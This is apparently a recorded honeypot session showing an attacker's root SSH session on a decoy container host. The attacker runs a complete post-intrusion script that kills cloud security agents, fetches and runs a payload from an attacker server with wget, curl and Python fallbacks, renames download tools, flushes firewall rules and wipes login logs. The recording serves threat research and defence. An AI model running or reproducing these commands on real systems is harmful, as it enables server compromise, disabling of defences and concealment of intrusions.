connected from 🇲🇩 Chisinau, Moldova · SSH-2.0-PUTTY
root@se-sto-oracle-2's password: Logged in as root
root@se-sto-oracle-2:~# wdir="/tmp"root@se-sto-oracle-2:~# for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
touch "$i/test_exec" >/dev/null 2>&1
chmod +x "$i/test_exec" >/dev/null 2>&1
if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
wdir="$i"
rm -f "$i/test_exec"
break
fi
rm -f "$i/test_exec" >/dev/null 2>&1
doneroot@se-sto-oracle-2:~# cd "$wdir" || exit 1root@se-sto-oracle-2:/dev/shm# echo "$wdir"/dev/shm
root@se-sto-oracle-2:/dev/shm# for svc in aegis aliyun YDService tat_agent; do
systemctl stop $svc >/dev/null 2>&1
systemctl disable $svc >/dev/null 2>&1
systemctl mask $svc >/dev/null 2>&1
doneroot@se-sto-oracle-2:/dev/shm# systemctl daemon-reload >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# if command -v chattr >/dev/null 2>&1; then
chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1
chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1
firoot@se-sto-oracle-2:/dev/shm# pkill -9 AliYunDun >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# pkill -9 YDService >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# rm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# download_vos() {
local_arch=$(uname -m)
SERVER_IP="[attacker]"
SERVER_URL="http://${SERVER_IP}/new.php?type=${local_arch}"
target="new.txt"
T_LIMIT=60
MAX_ATTEMPTS=3
attempt=1
do_dl() {
if command -v wget >/dev/null 2>&1; then
wget --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
if command -v curl >/dev/null 2>&1; then
curl -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
if command -v good >/dev/null 2>&1; then
good --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
if command -v cool >/dev/null 2>&1; then
cool -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
if command -v python3 >/dev/null 2>&1; then
python3 -c "import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
if command -v python >/dev/null 2>&1; then
python -c "import urllib; urllib.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
[ -s "$target" ] && return 0
fi
return 1
}
while [ $attempt -le $MAX_ATTEMPTS ]; do
rm -f "$target" >/dev/null 2>&1
do_dl &
dl_pid=$!
sec=0
while [ $sec -lt $T_LIMIT ]; do
if ! kill -0 $dl_pid 2>/dev/null; then
wait $dl_pid
break
fi
sleep 1
sec=$((sec + 1))
done
kill -9 $dl_pid >/dev/null 2>&1
if [ -s "$target" ]; then
chmod +x "$target"
setsid "./$target" >/dev/null 2>&1 &
sleep 1
if ! pgrep -f "$target" >/dev/null; then
setsid sh "./$target" >/dev/null 2>&1 &
fi
return 0
fi
attempt=$((attempt + 1))
sleep 2
done
return 1
}root@se-sto-oracle-2:/dev/shm# download_vosroot@se-sto-oracle-2:/dev/shm# lock_tools() {
if command -v chattr >/dev/null 2>&1; then
chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1
fi
w_path=$(which wget 2>/dev/null)
[ -n "$w_path" ] && [ "$(basename "$w_path")" != "good" ] && mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1
c_path=$(which curl 2>/dev/null)
[ -n "$c_path" ] && [ "$(basename "$c_path")" != "cool" ] && mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1
}root@se-sto-oracle-2:/dev/shm# lock_toolsroot@se-sto-oracle-2:/dev/shm# systemctl stop firewalld ufw >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# iptables -F >/dev/null 2>&1root@se-sto-oracle-2:/dev/shm# for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f "$log" ] && echo > "$log"; doneroot@se-sto-oracle-2:/dev/shm# exitroot@se-sto-oracle-2:~# ls -la /var/run/gcc.pidls: cannot access '/var/run/gcc.pid': No such file or directory
root@se-sto-oracle-2:~# exit $?Connection to se-sto-oracle-2 closed.
Logged out · 3m 09s inside
3:09 / 3:09
What they found: A small team's container hostA cloud VM where a small company runs its web apps in containers.